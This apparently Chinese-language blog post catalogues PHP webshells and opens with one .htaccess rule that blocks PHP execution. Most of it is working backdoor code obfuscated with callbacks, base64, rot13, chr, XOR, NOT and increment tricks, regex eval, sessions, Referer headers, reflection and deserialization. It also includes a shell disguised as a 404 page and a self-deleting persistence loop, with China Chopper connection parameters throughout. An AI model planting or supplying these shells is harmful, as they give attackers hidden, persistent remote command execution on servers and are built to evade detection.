PHP花式WEBSHELL

PHP可通过回调函数、可变函数、拆分重组、base64编码、rot13加密、chr编码、注释、运算(异或、取反、自增等)、正则函数、session机制、referer、php反射、php反序列化、404马、php内存马等形式生成webshell。

防护:在要防护的目录下上传如下.htaccess,禁止该目录运行php文件

1
2
3
4
<Files ~ ".php">
Order allow,deny
Deny from all
</Files>

1) 回调函数

php中包含回调(callable类型)函数参数的函数,基本都可能用做后门。

call_user_func()

1
2
3
4
5
6
<?php
call_user_func($_REQUEST['a1'],$_REQUEST['a2']);
//POST: a1=system&a2=whoami //命令执行
///POST: a1=assert&a2=phpinfo() //代码执行
//caidao: ***.php?a1=assert pass:a2
?>

register_shutdown_function()

1
2
3
4
5
6
<?php 
$a = $_REQUEST['a'];
register_shutdown_function($a, $_REQUEST['www']);

// POST: a=assert&www=phpinfo()
// caidao: ***.php?a=assert pass:www

register_tick_function()

1
2
3
4
5
6
<?php
$a = $_REQUEST['a'];
declare(ticks=1);
register_tick_function ($a, $_REQUEST['www']);

// POST: a=assert&www=phpinfo()

filter_var()&filter_var_array()

1
2
3
4
5
<?php
filter_var($_REQUEST['www'], FILTER_CALLBACK, array('options' => 'assert'));
//filter_var_array(array('test' => $_REQUEST['www']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

//POST: www=phpinfo()

array_filter()

1
2
3
4
5
6
7
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['www'],);
array_filter($arr, base64_decode($e));
//caidao: ***.php?e=YXNzZXJ0 pass:www YXNzZXJ0为assert的base64编码
//***.php POST数据 e=YXNzZXJ0&www=phpinfo()
?>

array_map()

1
2
3
<?php @array_map(assert,(array)base64_decode($_REQUEST['e']));
//caidao: ***.php?e=YXNzZXJ0KCRfUkVRVUVTVFsnd3d3J10p pass:www YXNzZXJ0KCRfUkVRVUVTVFsnd3d3J10p解码为assert($_REQUEST['www'])
//POST: e=cGhwaW5mbygp cGhwaW5mbygp解码为phpinfo()

2) 拆分重组

拆分重组示例1

1
2
3
4
<?php  $req = "a"."s"."s"."e"."r"."t";$req($_POST["www"]); 
//POST: www=phpinfo()
//caidao: ***.php pass:www
?>

拆分重组合示例2

1
2
3
<?php $xy = "eval"; $xy .= "(";$xy .= "$";$xy .= "_PO";$xy .= "ST['www']);";@eval($xy);
//caidao: ***.php pass:www
?>

3) base64编码+可变函数

1
2
3
4
5
6
7
<?php 
//$a = @base64_decode($a=$_POST['fun']);$a($_POST['www']);
$a = @base64_decode($a=$_REQUEST['fun']);$a($_REQUEST['www']);
//POST: fun=YXNzZXJ0&www=phpinfo()
//caidao: fun=YXNzZXJ0 pass:www
//base64编码+可变函数
?>

4) rot13加密+可变函数

示例1

1
2
3
4
5
<?php $a=str_rot13('nffreg');$a($_POST['www']);
//nffreg为assert的rot13加密
//POST: www=phpinfo()
//rot13加密+可变函数
?>

示例2-ye版

1
……

5) chr编码

1
2
3
4
5
<?php 
assert(chr(97).chr(115).chr(115).chr(101).chr(114).chr(116).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(120).chr(93).chr(41));
// chr解出来是assert($_POST[x])
//POST: x=phpinfo()
?>

6) 注释符

1
2
3
4
5
6
7
8
9
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

// 密码 -7
// POST:-7=phpinfo()
?>

7) 运算符

异或运算

1
2
3
4
5
6
7
8
9
10
11
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

//POST: 0=assert&1=phpinfo()
?>

取反运算

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

//POST: 2=phpinfo();

自增运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

//POST: _=phpinfo()

8) 正则函数

mb_ereg_replace()

1
<?php mb_ereg_replace('.*', $_REQUEST['www'], '', 'e'); ?>

preg_filter()

1
<?php echo preg_filter('|.*|e', $_REQUEST['www'], ''); ?>

9) 利用session

利用session机制 需要读取服务器session文件权限
POST: www=cGhwaW5mbygpOw== cGhwaW5mbygpOw==解码为phpinfo();
在C:\Windows\sess_k12th0l3kimv4i07fi0lm1bjr3 文件中写入cmd|s:16:”cGhwaW5mbygpOw==”;
C:\Windows\sess_之后的值与cookie 中的 PHPSESSID值一样

php的session文件的保存路径在php.ini中设置 或者可以在phpinfo()的session.save_path查看
session文件的命名规则是 sess_[PHPSESSID]

1
2
3
4
5
6
7
8
<?php 
session_start();$_SESSION['cmd'] = trim($_POST['www']);
echo preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');

//POST: www=cGhwaW5mbygpOw== cGhwaW5mbygpOw==解码为phpinfo();
//var_dump($_SESSION);
//var_dump($_COOKIE['PHPSESSID']);
?>

10) 利用referer

refer1.php+refer2.php两个文件组成构成后门,访问后门是访问refer2.php
refer1.php

1
2
3
4
5
6
7
<?php
//refer1.php refer1.php+refer2.php两个文件组成构成后门,访问后门是访问refer2.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}

refer2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//refer2.php 直接访问refer2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/phpcode2019/phpwebshell/r1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

11) PHP反射

1
2
3
4
5
6
<?php 
$func = new ReflectionFunction($_POST['a']);
echo $func->invokeArgs(array($_POST['b']));
//POST:a=assert&b=phpinfo()
//php反射特性
?>

12) PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
<?php
class shell{
public $code="tmpdata";
function __destruct()
{
assert($this->code);
}
}
$ser = $_GET['www'];
unserialize($ser);
//?www=O:5:"shell":1:{s:4:"code";s:10:"phpinfo();";}

生成序列化POC:

1
2
3
4
5
6
7
8
9
<?php
class shell{
public $code="phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;
//输出 O:5:"shell":1:{s:4:"code";s:10:"phpinfo();";}
//生成序列化POC

13) 404马

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@call_user_func($_REQUEST['a1'],$_REQUEST['a2']);
header('HTTP/1.1 404 Not Found');
//POST: a1=system&a2=whoami //命令执行
///POST: a1=assert&a2=phpinfo() //代码执行
?>

14) 内存马

1
2
3
4
5
6
7
8
9
<?php
//php内存马 //处理办法:重启Apache
set_time_limit(0); //设置脚本最大执行时间 设置为0,没有时间限制
ignore_user_abort(1); //设置客户端断开连接时是否中断脚本的执行 设置为1则不会中断执行
unlink(__FILE__); //删除自身
while(1){
file_put_contents('D:\\phpStudy\\***\\config.php','<?php call_user_func($_REQUEST["a1"],$_REQUEST["a2"]);?>');
}
?>

参考

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://joychou.org/web/webshell.html#directory025622261147745225
https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/
https://www.freebuf.com/articles/web/9396.html